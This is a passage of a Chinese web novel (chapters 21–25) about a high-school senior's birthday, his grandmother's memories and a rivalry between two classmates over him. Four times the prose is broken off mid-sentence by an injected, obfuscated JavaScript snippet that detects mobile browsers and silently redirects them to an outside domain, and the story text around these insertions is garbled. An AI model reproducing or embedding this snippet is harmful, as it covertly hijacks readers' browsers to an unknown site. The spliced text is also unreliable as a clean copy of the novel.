然而,这也只有短短的一瞬间。路既棠坐在石椅上休息了十五分钟,等到不再急喘,气息平复下来之后,他才起身往食堂走去。在去食堂的路上,他遇到了已经吃完饭从食堂出来的李未序和吴睿凌。 吴睿凌远远地看到他就跑过来,“路哥,我跟你说,今晚食堂的饭菜超级难吃,”他一连串地抱怨,“就因为只有高三一个年级在,于是伙食一天比一天敷衍,今晚就更恶心了,我喜欢吃的秘制鸡翅和炒花甲也没有了,全是糊成一团的东西,看着就没有食欲。” “那完了,”路既棠拍了拍他的肩,笑道,“你们吃得早的都这样,那我去了,等着我的就更不能吃了。” 说笑了几句之后,路既棠继续往食堂走去,连着看了三个窗口,路既棠不得不承认吴睿凌的抱怨很有道理,但是很快,他就不用担心这个了。 因为在他逛到最后一个窗口时,遇到了一个同班同学,对方有些诧异,她说道:“路既棠,你没去校门口拿东西吗,我刚从校门口过来,保安室外面的储物柜上挂着你的名字呢,很大的一个袋子,估计晚点班主任就来找你了,但我既然看到你了,就先跟你说了,说不定是你家里人给你送的饭呢,你赶紧去看看。” 路既棠道了谢就往校门口走去,因为路奶奶每年暑假都会去山上避暑,不在市区,今年更是和杨外婆到别的省去了,所以路既棠一开始并不觉得会是路奶奶找人送的。可拿到东西时,路既棠才发现,奶奶永远是最牵挂他的那个人。 他把东西带回寝室,照例把一些零食水果给室友们分了,殷倚松不在寝室,路既棠把对方的那份留出来,他刚把两份饭盒拿出来,准备拿一份下去给白鹤生,但一抬头,就看见白鹤生就拎着一个蓝色纸盒悠哉游哉地进来了。 寝室里的人已经眼熟白鹤生了,看到他进来,还会热情地打招呼。 白鹤生笑眯眯地应了之后,晃到了路既棠面前,勾着纸盒绳子的手指摇了摇,他说道:“猜猜这里面是什么?” 路既棠好整以暇,不假思索地说道:“蛋糕。” 白鹤生的笑容瞬间垮了一半,“给点面子,你好歹期待地猜一下啊。” 他话音刚落,路既棠立刻很给面子地夸了好几句,还煞有介事地道歉又道谢,白鹤生气笑了,拍开了路既棠伸过来的手,“少来这套。”他嘴上是这么说着,手上却把蛋糕放在了桌子上,坐在了路既棠床边的椅子上。路既棠把饭盒塞给他,“奶奶叫人送的。” 自从白鹤生回来,路奶奶让人送东西来学校,都会捎上白鹤生那一份。由于杨秋染一直都是外膳,所以路奶奶送东西时会格外关照在校吃饭的两个孩子。 吃完饭之后,白鹤生还试图撺掇路既棠和他一起翻墙出去,因为今晚学校后面的江边有烟花秀,但被路既棠以自己要洗澡并且晚上还有考试为理由拒绝了。 听了路既棠的话,白鹤生的狐狸眼弯了又弯,却没有生气,“好吧,那以后有机会,我送你一场生日的烟花秀。” “蛋糕就先放着,等下晚自修我再上来找你。” 路既棠洗完澡回到教室,发现自己的座位上已经堆了很多礼物了,有精致漂亮的,有简单干净的,有的礼物留了名字,有的礼物却没留名字。大部分是班上的同学送的,有一些是以前认识关系还算亲近的人送的。 路既棠整理到后面,发现书架上掉出来一张贺卡,贺卡的风格非常简洁,他打开看,里面只有一句话,“祝你生日快乐,前程似锦,一路繁花。”下面写了今天的日期,但没有落款。字迹是让人一见难忘的漂亮。 他刚看完,杨秋染就抱着一束粉玫瑰花从后门进来了,虽然她已经很努力地遮遮掩掩了,但因为太过鬼鬼祟祟,还是被人发现了,还没等在教室的同学们惊呼,杨秋染就径直走到了路既棠面前,把花塞给他,回头看了一圈惊呼的人,“大家别叫,不是我,我只是帮人拿进来。” 同学们叫得更欢了,江梓丹和贺姝更是带头叫起来,“who?!” 杨秋染摇头,“别问我,没结果。” 她们等了好一会,发现杨秋染和路既棠都真的不打算说,最终带着一副没看够八卦的失落样接着去做自己的事情了。 路既棠看着怀里的花,拿也不是放也不是。他用还空着的右手,捂着半边脸,颇有些咬牙切齿地低声问杨秋染:“到底是谁,让你这么害我?” 杨秋染看向他的目光带着同情,“你还记得初中时说要你嫁给她的……”她说了一个名字。 路既棠怎么会不记得,简直印象深刻。自从不在同一个学校之后,他终于享受了两年的平静生活。 杨秋染说:“她威胁我,要是我不帮忙,她就把我初中做的糗事贴到咱们学校的表白墙上,”她对上路既棠要吃人的目光,“……不过我已经和她说了,很严肃地说了,她说这是最后一次了,她马上就要出国了,以后也不会再有机会来打扰你了。” 路既棠终于松了口气,他把花塞回去给杨秋染,“你这么害我,我给你一个将功折罪的机会,这个花给你了,谢谢。” 知道自己坑了对方,她祝路既棠生日快乐,并告诉路既棠,给他的生日礼物她不方便带进学校,但他周末下午回家就能看到了,然后怀着一腔愧疚把花带走了。 这一场生日闹剧终于结束了,路既棠长舒了一口气。 下晚修时,白鹤生又跑过来了勾搭路既棠一起回寝室,路既棠在走之前,看了一眼殷倚松空着的座位,他从今天傍晚在跑操之前就没见过这个人了,他问了人,才知道殷倚松请了晚修的假。 也不知道他今晚还回不回来。 路既棠回到了寝室,很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396645|184305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快人基本回来齐了,除了殷倚松,大家对着蛋糕围站着,在离熄灯还有七分钟时,吴睿凌看了一下寝室长,又看了一下路既棠,问道:“那还等吗?” 路既棠看了眼门口,透过门口能看到走廊外朦胧的夜色和昏黄的灯光。 这个人还是没有回来。 “我们先吃吧,”路既棠说,“把殷倚松那一份留出来就好了。” 众人给他唱生日歌,又祝他生日快乐。白鹤生甚至趁着最后的几分钟,拉着路既棠撬开了锁着的门,跑上了顶楼,他往江边的方向指了一下,“看那里。” “五、四、三、二、一。”在白鹤生最后一声落地时,大簇大簇的烟花绽放,把那边的天空点亮,白鹤生说:“小棠,生日快乐,你值得最好的一切。” 路既棠回头看他,眼镜后的眼睛盈满泪光。他用力地抱住了白鹤生,分别又重逢的悲喜交加,在白鹤生说那句话时,达到了顶峰,他终于说出了那句迟到了一个月的话,“白鹤生,两年了,你终于回来了。”这一次,终于不是隔着万水千山的祝福了。 他们从小一起长大,见过对方所有的得意和失意,这是他最好的朋友,最亲的哥哥。 白鹤生回抱住他,“对,我回来了,以后的路,我们还要一起走下去。” 他们在熄灯之前下楼,到三楼时,刚好撞上了从楼下上来的殷倚松。白鹤生看到他,没说什么,和路既棠打了个招呼之后径直下楼了。 殷倚松看了一眼楼梯,问道:“你们是刚从楼上下来?” 路既棠说是。走廊灯虽然昏黄,但能够看清楚殷倚松的脸,他似乎是赶回来的,还在平复着呼吸,身上也有些狼狈,手上拎着蛋糕盒和一个袋子。 在下一秒,寝室的灯熄了,他们就站在楼梯和走廊之间,走廊的昏黄灯光将他们的影子拉得很长。 殷倚松比他大半岁,看着他的目光很柔软,声音很低,“对不起,我回来晚了。” “生日快乐,路既棠。”他把一个香囊和一块木制牌放到路既棠手里。 路既棠抬头看他,“谢谢你,可惜你回来得有点晚,没能和我们一起吃生日蛋糕,不过我们给你留了。” 说完,他低头去看殷倚松给他的生日礼物。香囊里似乎是放了切碎的中草药,带着一股草木香。他接着看手心的木制牌,菱形,乌沉沉的,被磨得很光滑,其中一面刻了一个很小的繁体字,用打了结的红绳绑着,路既棠不懂这个牌子代表的含义,但他能感觉到,这块木料价值不菲。 他问殷倚松,殷倚松却避开了这个问题,他说:“这段时间你一直睡不好还总是做噩梦,香囊里放着的草药能助眠,你可以把它放在枕头边,这样你能睡得安稳一些。不是给我留了蛋糕吗,我想吃你的生日蛋糕。” 然而,殷倚松知道生日蛋糕是白鹤生送的之后,那一瞬间的脸色变得非常复杂。路既棠动作很轻地把蛋糕拿出来,看着殷倚松手上拿着蛋糕,却怎么都没有把蛋糕送进嘴里。 宿管阿姨正在上楼,路既棠把殷倚松拉回寝室,两人在门后躲着。现在只能寄希望于阿姨今晚不查床上有没有人,他们今晚的运气很好,阿姨走了一圈之后下去了。 寝室里的人都没有睡着,为了不浪费,大家一起把殷倚松带回来的蛋糕也吃了。 等到路既棠终于躺到床上时,已经是十一点二十了。 殷倚松站在他床前,在上去之前,他弯下身,声音很低很轻地对路既棠说道:“晚安。” 22. 第 22 章 那年暑假,是高三学生最后的一段悠闲安逸的时光。今年南林市的夏天,大多数时候都是天晴的,一抬头就能看到干净澄澈的天空。 上午的大课间,很多人会到小花园去赏花,到湖心亭喂鱼,到操场的草地上去散步,到长廊下谈笑。 中午下课时,学生们就穿过林荫路,往食堂走去,食堂前深粉色的三角梅总是开得活泼鲜艳,食堂金色的牌匾就在日光下熠熠生辉。 傍晚跑操时的天空总是会很好看,晚霞瑰丽,操场外围的树生机勃勃,在黄昏里散发着耀眼得逼人的绿意。 晚自修下课时,食堂旁边的小超市就会变得很热闹,池塘里会传来青蛙唱歌的声音,在寝室的阳台上望出去,能看到婆娑的树影和皎洁的月亮,风移影动,空调吹出安静的冷风,路既棠就枕着夏季夜里窗外细微的鸣叫声睡去。 很快,这段难得的安逸生活就要结束了。 南中在夏天的尾巴和秋天的发梢时,迎来了新一届的高一学生。 校长在台上致开学典礼辞,路既棠看着新生们青涩而朝气蓬勃的脸,仿佛看到了两年前的自己。 耀金色的晨光洒在校园里,天上的云很高,无端给人一种旷远的感觉。 这种还能够把未来攥在自己的手里的感觉,似乎真的很好。 路既棠正式的高三生涯也随之开始了。 老师们上课、布置作业、讲试卷,同学们听课、复习、改正试卷、做错题,忙碌而有序。高三的考试越来越多,语文和英语由原来的每周一小考、周末一大考变成了每一节自修都会考试,其间一直在同步复习进度。 自习课不再是自习课,周一到周五每一天晚上的自习课都会用来考试。自习课上的考试大三科每周都考,小三科轮着考。 周六的时候考试考一整天,从早上六点五十考试考到晚上九点半,一天考完高考的全部科目。 星期天早上讲试卷,讲完试卷后再布置作业。 一周又一周,循环往复。 许多同学一开始都有些适应不过来。 周一上午第一节课,英语老师带着一沓答题卡走进了教室,由于英语试卷大多数都是选择题,所以英语总是改得最快的那一科。 戴着眼镜的英语老师很斯文,虽然上了年纪,皮肤黝黑,但身材在同龄人中绝对可以傲视群雄——他没有谢顶,没有啤酒肚,高而瘦。 这得益于他二十年如一日地早起跑步,阴天下雨雷打不动,这让他能经常在寒冬腊月里穿着单衣,一进教室就说:“你们热吗,老师好热,同学们,我们先把门窗打开,通风透气。” 站在讲台上的英语老师神色有些严肃,他又一遍强调道:“作文不能涂改,有时候我们说宁愿写错单词也不要涂改,就是因为这个卷面分很重要,如果一定要涂改,轻轻划掉就好了,不要涂得黑黑一块,这样非常影响观感,也会拉低作文分数。” 他把一张答题卡翻到作文那一面,手盖住姓名那一栏才把答题卡举起来,向学生们示意,“像这位同学的卷面,就是非常不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396646|184305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 合适的。”那张答题卡上涂涂改改,字迹潦草。 英语老师在说了作文之后,开始讲前面的完形填空,他总是愿意花很多的时间讲完形填空,不管是语法、搭配还是单词的词义词性,他都会掰开来仔细地讲,讲完之后还会再布置一套同类型的试卷来让同学们巩固。 今天的课,老师们都在讲试卷,下午的最后一节是语文课,语文老师调了课,不同于平时抽改,这次的答题卡发下来时,班上的同学们的作文都改了。 语文老师有一个相当好的品质,她绝对不会拖堂。在其他老师开始有意无意地拖堂的时候,她就显得尤其可贵。 一天的课上完,晚自修的时候,路既棠在写完当天的作业之后,开始整理错题。 在整理完其他科目的错题之后,路既棠才开始整理语文的,这时候离下课只有十几分钟了,但还好他的语文错题非常少。 语文和英语一样,都是极度依赖语感的科目,文言文更是,这就需要大量的阅读,极致的积累。 路既棠把试卷中新出现、以前没有考过的知识点整理到他的积累本里。 对于作文,路既棠目光快速扫过发下来的语文答案中的作文素材,用两三句自己的话将素材简要概括,写进积累本里。这个习惯他从初一一直保持到了现在。 对于试卷上给出的作文题目,他把立意和自己的作文标题写进了积累本特定的位置——那里有从高一到高三所有考过的作文题目。路既棠看着这些字就能回忆起自己在考试时的思路。 23. 第 23 章 忙碌的一周很快过去,和以前只在周末放半天假不同,这周因为要承办市级的某项比赛,学校破例在周六下午给学生们放一天半的假。路既棠去食堂吃了午餐之后,回教室从班主任那里拿回了交上去的手机,然后收拾东西。 他收拾得很快,下了楼走出教学楼,往校道上走,他走得很慢,时不时回头看一眼,路过的同学,认识他的和他打招呼,闲聊几句之后道别。路既棠站在校道旁的一棵大榕树下等白鹤生。 他穿着干净熨帖的短袖白衬衫和水洗蓝的牛仔裤,一手背着双肩包,一手拿着白色的有线耳机,刘海蓬松,下午的阳光透过榕树树荫的罅隙落在路既棠的发顶处,照得他的头发和白净的脸都在发光。 他就这样站在一片绿意里,即使没有在笑,也有一种青春洋溢的气息。学生时代里,就是有一种人,又干净又满身书卷气。 路既棠没有等太久,他刚把耳机扣上,肩膀就被拍了一下,白鹤生的声音在下一秒响起,“走了。”白鹤生这个人几乎把随心所欲这四个字做到了极致,他除了手机和校园卡,什么都没带。 路既棠跟上他,“这周放一天半,你准备去哪?” 白鹤生定定地看了他一眼,突然笑道:“当然是回家啊。” “从回到南林市,你一直住在学校,你家里很久没有人住了,一时半会要叫人打扫,你今晚也住不了,不如去我家吧,像初中时一样,和我睡。”路既棠提议道。 “你……你可真是……”白鹤生闷闷地笑,“都多大了我们还一起睡,我想起来了,上回你带你之前那个同桌回去,不会也是这样提议你们才睡一张床吧,”他晃了晃路既棠的肩膀,“我说宝贝,你也太不设防了吧,男女有别你知道,但你还得知道,男男也有别。” 路既棠皱眉看着他,像是白鹤生又说了什么癫话。 幸好白鹤生很快回到正题,“我说的回家,是我爷爷家,其他的房子都和我没关系,我爷爷家那里一直都有人打扫,但在老城区,明天我过来找你要花点时间而已,”他掩嘴打了一个哈欠,“说起来,之前的模型我都没写完,上回卖出去的程序还有一些bug等我回去处理,最近事情真是有点多。” 他们边说边走,刷卡出了校门。“今天突然放假,奶奶和外婆估计都不知道吧。”白鹤生说话总是很跳跃,总能很迅速地从一个话题跳到另一个话题,幸好路既棠跟得上他的想法。 白鹤生有一句没一句地抱怨,“本来考试就多,现在更多,都是重复性的内容,一点新意都没有,真是烦人,上课的时候我还能搞点自己的事情,现在考那么多试,写完了试卷我就只能在考场上发呆和睡觉,真的好没意思。” 路既棠挑了一个最适合白鹤生的方式安慰他,“没事,起码你还能发呆睡觉,还有精力搞其他的事情,很多人写不完试卷,考完试就已经筋疲力尽了。” 他们说着话到了路口,路既棠拦了一辆车,把白鹤生推进后座,“我先和你回你家,看看有什么需要我帮忙的,你要回去住,还得添置很多日用品吧。” 等结束之后,路既棠回到家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396647|184305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门外之后,已经是日暮时分。 他打开家门,没有在客厅和厨房找到路奶奶,于是他往一楼的阳台走去,阳台连着后院的花园,他猜想,路奶奶应该在后院侍弄花草。 他推开阳台的门,猝不及防地看到西沉的落日里,花草都在晚霞的余晖和徐徐的晚风中微微颤动,光影斑驳的阳台里,身着碧青色旗袍两鬓霜雪的奶奶,倚坐在老旧的躺椅上,靠在时光深处,抱着琵琶,弹一首哀婉悱恻的曲调。 路既棠的脚步声惊了幻影,路霜白偏过头看他,眼中有泪。 路既棠的声音隔了很久才响起,他声音轻轻地,像是又怕惊扰了什么一样,“奶奶……” 路霜白没有说话,她等眼中的泪落尽了,才将怀里的琵琶放下。她指了指阳台上的另一张躺椅,声音柔和,“小棠回来了,坐吧。” “在从前的住处,我坐在阳台弹琵琶时,你爷爷就坐在你现在坐着的这张躺椅上听我弹。”路霜白的手指拂过琵琶的弦,带出铮铮音响。 她说:“我和你爷爷第一次见时,和现在不一样,那是个雨天,疏雨滴梧桐,我抱着琵琶坐在廊下的长椅上,对着远处烟波浩渺的湖水想曲调,你爷爷正好撑伞路过,就这样走进我的视线,他那时候穿一身白色长衫,怀里抱着一沓线装书,裤脚湿了一截,有些颓唐,却不狼狈。” 路既棠是第一次听奶奶提起和爷爷的初见。 “看到他的一眼,我就明白,这世上是真的有一见钟情,只是之前我太过自傲,总以为书上说的是糊弄人的假话。” 24. 第 24 章 路既棠坐在躺椅上,呼吸声渐轻。 路霜白垂眸看了他一眼,“那是我一生中为数不多的愉悦时光,那时候的时光很慢,等一封往来的书信要很长的时间,可日子总是值得期待的。”她移开目光,看向园中的玉兰花树,目光中带着一点怀念和眷恋,“他在北边的大学研究他的学术,我在南方的校园教我的书,那时候相隔数千里,可我却不觉得难熬。” “我从来没有后悔遇见他,冷静和热忱这两种并不相合的气质,落在他身上,居然有一种奇异的贴切。”路霜白的声音总有一种娓娓道来的温和感,“他说起自己钟爱的事业时眼神总是很亮,受他感染,我也更深入地去思考自己一生的意义,现在回想起来,才发觉前尘已经隔海。”她停了很久,才又说道:“你们都很像他。” 路既棠知道,奶奶是在说爸爸和他。 “说起来,”路霜白抿了一下唇,带出一点很细微的笑意,“你爸爸要比你和你爷爷都固执许多,认了一个死理就再也不回头了,他小时候喜欢一个人待着,你爷爷怕他闷坏了,拿着小球想哄他出去玩,却怎么都哄不出去,等大了一点,就早早有了自己的规划,每一步都要按照自己的计划来。” 她笑,“我是真的没有想到,他之前从没表现出对法学的兴趣,也从没说过自己要学,却走上了和你爷爷一样的路。” 路既棠也笑了,他听得很认真。 “再之后,就在大学里遇到了你妈妈。”路霜白看着路既棠,却像透过他看向什么人,声音轻轻的,“一场辩论赛让他们认识彼此,之后,你妈妈就成了你爸爸按部就班计划里的所有例外。” 她的目光落回路既棠身上,她看着路既棠,很郑重很温柔,像在看一个珍宝,路既棠本来就是她们的珍宝。 她说:“小棠,不管以前发生过什么,我们都希望你能开心,你可以去做你想做的事情,你本来就应该是自由自在的鹰,不应该被过往的经历束缚。小棠,我们都很爱你。” 路既棠应了一声,他站起来,走到路霜白面前,很认真地说道:“奶奶,我会的。”他的眼神干净,眼中倒映出路霜白的样子。 路霜白看着他,轻叹一声,伸手摸了摸路既棠的头。 第二天一早,白鹤生就过来串门了,他性格活泼,很讨隔辈的长辈们喜欢,不知道他上次翻墙出来,是用什么借口和路奶奶说的,这次他来,路奶奶还是格外高兴。 他还是像小时候一样,路奶奶在花园里捡落在地上的玉兰花瓣,他就跟在路奶奶身边帮着捡,路既棠从地下室拿来工具,他们两个和路奶奶在花园里待了一上午。 中午是家政阿姨在做饭,路奶奶一直记得白鹤生的口味,特意叮嘱了家政阿姨。他们围在一桌吃饭,白鹤生笑眯眯地回答路奶奶的问题,有时候又逗逗路既棠。 吃完午饭之后,路奶奶照例去午睡。路既棠则带着白鹤生上了二楼的影音室,白鹤生扑到了柔软的沙发上,“怎么感觉这里好久没用过了,空气都很沉。” 路既棠打开游戏设备,“是很久没用过了,上次用还是高考假时秋染过来玩,我还要写作业,你自己联网玩吧。” “我不管,”白鹤生坐起来,“你今天要陪我打游戏。”他寻思了一会,“不对啊,路既棠,你以前假期从不写作业的,你变了,说,到底是谁带坏了你。” 路既棠把一包零食砸到白鹤生身上,“你真是越来越会颠倒黑白了,好,我陪你打,下午我早点回学校写作业就是了。” 难得的假期很快过去,回学校时,打了一下午游戏的白鹤生还神采奕奕,而路既棠已经昏昏欲睡了。 这直接导致路既棠回到学校,强撑着精神写完作业,自习课上的英语小测只写了一半,就趴在书桌上睡了过去。 晚自修下课,路既棠半阖着眼睛站起来要回寝室,殷倚松过来扶住他,“你今天晚上大部分时间都在睡觉,是困了还是不舒服了?” 路既棠被殷倚松带着往寝室走。“没事,只是困了。”路既棠说道。 “你周末干什么去了?”殷倚松看着路既棠,黑漆漆的眸中有汹涌的潮水涨起又回落,“又是白鹤生?” 虽然是问句,但殷倚松的语气却很笃定。 路既棠点了点头。 他太困了,没注意到殷倚松陡然变化的眼神。殷倚松沉默了一会,才冷冷地说道:“你不要一昧地纵容他想干什么就干什么,你需要休息。” 路既棠觉得殷倚松有些生气了,但困意让他的脑子都变得迟钝,他胡乱地应着。最后,他只听见殷倚松深深地叹了一口气。 路既棠这一届的高三学生运气很好。 他们遇上了南中十年一度的校庆。每一年南中都会办校庆,但逢整十的年份,南中的校庆就会办得尤其隆重。南中的校庆在十一月,今年的校庆提前两个月就开始准备了。傍晚跑操时,路既棠能看到低年级的学生们在操场的草地上排练。 一向消息灵通的吴睿凌在一天傍晚的跑操列队时,说道:“听说我们也要出场的。” “居然还有我们的戏份,”李未序把手压在眼睛上,眯着眼看远处正在排练的人,“我们亲爱的校长大人不是说,高三学生要远离一切娱乐活动,必须专心学习吗?” “要当也是当背景板,”肖意收回目光,“准备开始了,别聊了,跟上前面殷倚松他们。” 很巧,当天晚上,年级的音乐老师就到班上通知同学们,准备第二天下午的排练。由于距离校庆只有三天的时间,所以排练的时间非常有限。 第二天下午,地理课下课后,班上的同学都被叫到操场开始排练。南林市现在秋高气爽,太阳也暖融融的,但晒久了总会不舒服。 路既棠坐在操场的椅子上,安静地当背景板。 他周围的人因为被晒得久了,开始低声说话,“你看看,我的手臂是不是都晒出热气来了。” “明天校庆,会有很多知名校友回来吧,我看食堂的大屏幕上已经开始放宣传片了,你别说,要是学校不说,我都不知道那个造飞机的大佬居然也是咱们高中出去的,他们这些涉密单位,怕是要退休了好多年,名字才能被大众知道吧。” “是吧,老人家都九十多岁了。唉,厉害的人是我们无法想象的,在我还在想怎么样才能写完那一沓沓的试卷时,别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396648|184305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人已经在自己的领域里闯出一片天来了,落差都是对比出来的。不说了。泪目了。” 高三学生背景板的作用就是,在巨大的红色横幅从他们头顶掠过时,举手托举一下,不让横幅落下来,工作很轻松,但因为要不停地调位置,所以前期的排练时间有些长。 路既棠没想到要晒这么长时间,所以也没拿帽子,他的皮肤很白,被太阳晒得泛红,从脸到脖子到手臂,被太阳晒到的地方起了一片红色,像一滴朱砂落进了清水里瞬间将水染得变了色。殷倚松坐在他后一排的右边,隔得不远。 他递了一本书给路既棠,示意路既棠用书挡一下下午的阳光。 路既棠伸手去拿时,正好对上了坐在殷倚松旁边的,安于年的目光。 安于年的目光里带着一点羡慕,一点试探,还有一点收敛得不够彻底的敌意。 校庆当天,偌大的草地里,穿着校服的几千人排列整齐合唱,几千人的合唱,有如山鸣谷应,江浪的涛声久久不绝。写着字的巨大横幅穿过高三学生的上方,被托举得整齐。无人机在上空有方向性地飞着,大荧幕上出现它所拍摄的画面,而这些画面也会同步到网络直播中。 一上午的时间过去,校庆典礼总算结束了。 下午是自由活动时间,路既棠吃完饭回学校午睡,午睡刚醒,就被白鹤生抓去体育馆。路既棠一脸迷茫地问:“要干什么?” “今天下午有个校友讲座,”白鹤生说了一个大学的名字,“他是这个学校的教授,今天回来参加校庆典礼,顺便开个金融方面的讲座,很早之前我就听说过他了,我带你去看看。” “难得见你对什么人感兴趣。”路既棠说道。 听完讲座出来,他们径直往食堂去。 白鹤生显然对那位校友印象很好,“我之前要犹豫过要走哪一条路,但现在我决定好了。”他的语气很轻松,仿佛是在说一个寻常的玩笑。 而路既棠已经习惯了对方做了一个决定立刻就要付出实践的做法。白鹤生干再惊世骇俗的事情,他都不会觉得奇怪。白鹤生就该是这样的人,干脆利落,自由随性。 他们在食堂旁的一条小径处,遇上了刚从食堂出来的殷倚松,殷倚松从路既棠身上移开目光后,看了一眼白鹤生,眼神很冷。 白鹤生笑了一声。他对路既棠说:“我想起来我落了个东西,你先去,帮我点一下,我很快就来。” 殷倚松听完之后,什么都没说,越过他们就要走。 目送路既棠进了食堂,白鹤生转身,对着已经走出去一段距离的殷倚松说道:“你等一等。” 殷倚松回过身。 两个身高差不多的男生就隔着几步远,无声地对峙着。 白鹤生先开了口:“你姓殷,我还当是哪个殷,原来是殷列缺的殷,你是他儿子。” 殷倚松的目光闪了一下,没说话。 “外人不知道你父母干的是什么勾当,”白鹤生冷笑道,“但不巧得很,我刚好清楚,南林市不是只有你家是做这一行的。” 白鹤生看着殷倚松,一字一顿道:“别以为我不知道你在想什么,你离他远一点。” 25. 第 25 章 在白鹤生这句话落地的一瞬间,殷倚松的目光陡然锐利起来。 像是一只一直潜伏、装得温和无比的猎豹,突然露出锋利的爪牙,准备刺向对面这个同类。 白鹤生迎着殷倚松的目光,根本没等殷倚松开口,就接着说道:“管好你自己,他不是你该觊觎的人。” 殷倚松终于开口了,他微微偏头,神色漠然,语气冷淡,“我父母做什么,不归我管。你又是什么人,你有什么资格管我在想什么?” 白鹤生怒极反笑,“路既棠还真是单纯,居然会看不出自己身边还有你这么一条疯狗,也是,路既棠就是太讨人喜欢了,有时候招来一些像你这样的人,也是情有可原。不过没关系,他不会喜欢上任何人,以前是这样,以后也是这样,你也不会是例外。” 殷倚松抿紧唇,身侧的手指很轻地颤了一下,随即被他攥紧。这人漆黑的眼眸中有流光一闪而过,又很快沉寂下去。他没再回话,转身就走。 在食堂的路既棠等来了白鹤生,“你落的东西呢,拿到了吗?” 白鹤生:“叫同学顺手帮带回教室了。”他看着尚是无知无觉的路既棠,叹了口气,提醒道:“我觉得,你有些时候真该长些心眼,不然什么时候吃亏了都不知道。” 路既棠显然不明所以,“你就去找了一个东西,怎么突然生出那么多感悟?” “你之前的同桌叫殷倚松对吧。”白鹤生说道。 路既棠点了点头。 “你知不知道,他姓殷,他父母手里握着南林市最大的制药公司的全部股权。”白鹤生看着路既棠,“这两个人手腕了得,将南林市所有稍微有点竞争力的药企打压得抬不起头,要么倒闭,要么远迁,当年我爸妈被迫将公司迁到平城,他们家出力不少。” 他冷笑,“某种意义上说,我在平城过了这么多年苦日子,都要拜他家所赐。” “他还真是低调,家里在南林市声名显赫,他却在这里默默无闻。如果不是上次去看秋染外婆时,和见晞阿姨聊起,我都不知道,他就是殷家的人。”他瞪了路既棠一眼,“现在还要在这里和我抢你,实在是可恶。” “你倒好,还傻乎乎地向着他。”白鹤生拍了拍路既棠的头,动作很轻,却激起了路既棠的反抗,白鹤生速度很快地收回了手,“听着,以后长点心眼,别他说什么你都信。” 路既棠听完,却难得神色郑重地反驳道:“我之前和你说过,我一直以来的胃病,现在已经基本不会再复发了,那是殷倚松爷爷给我治的,于情于理,殷倚松爷爷和殷倚松都对我有恩。” “你说的,我都听进去了,但在之前,在我和他的接触中,他都很温和且很有原则,哪怕真如你所说,他父母通过手段欺凌打压同行,我也相信,殷倚松不会是这样的人。”他说得很认真。 白鹤生看着他的眼睛,难得有些泄气,有那么一瞬间,他甚至想说,难道你真的看不出,殷倚松看你的眼神里,藏着多么深重的欲念吗? 最终他什么也没说。 晚上的自修有数学考试,路既棠在吃完饭后,准备回寝室洗澡。他刚回到寝室,就看到洗完澡出来的殷倚松站在阳台上挽袖子,安于年正在给寝室里的人养在阳台窗沿上的仙人掌浇水,他看殷倚松挽好了袖子,于是把小花洒塞给殷倚松,说道:“你现在有空了,你来浇水吧,我去洗澡。” 他递花洒的手有意无意地蹭过殷倚松的胳膊,殷倚松很轻地皱了一下眉,本想抽手,但看到了站在门外正往他们这边看的路既棠,打算抽开的手停下了。 他看进路既棠的眼睛里,把那一丝暗色压得很好,显得眼神依旧温和。 暮色洒满了整个阳台。 他没说话,路既棠也没说话。 有说不清的情愫在这个并不大的阳台涌动、呼啸,又沉默下去。 路既棠先收回了目光,他侧过身体,俯身收拾自己床上的东西。 殷倚松垂眼,利落地接过安于年手中的花洒,说道:“我现在有点热,我们别靠太近。” 他话音刚落地,就看到路既棠抬头看了他一眼,随后,路既棠默然无语地拿着衣物和洗浴用品越过他,走进另一个空着的洗手间。 还在收拾东西的安于年迟疑地看了看已经准备关门的路既棠,又看看还站在阳台上的殷倚松。 他发现,殷倚松面无表情,握着花洒的左手却已经青筋暴起。 这个发现让安于年惊疑不定。 卫生间里水声响起,殷倚松换了右手拿花洒,开始浇水,侧脸在暮色中显得沉郁又冷漠。 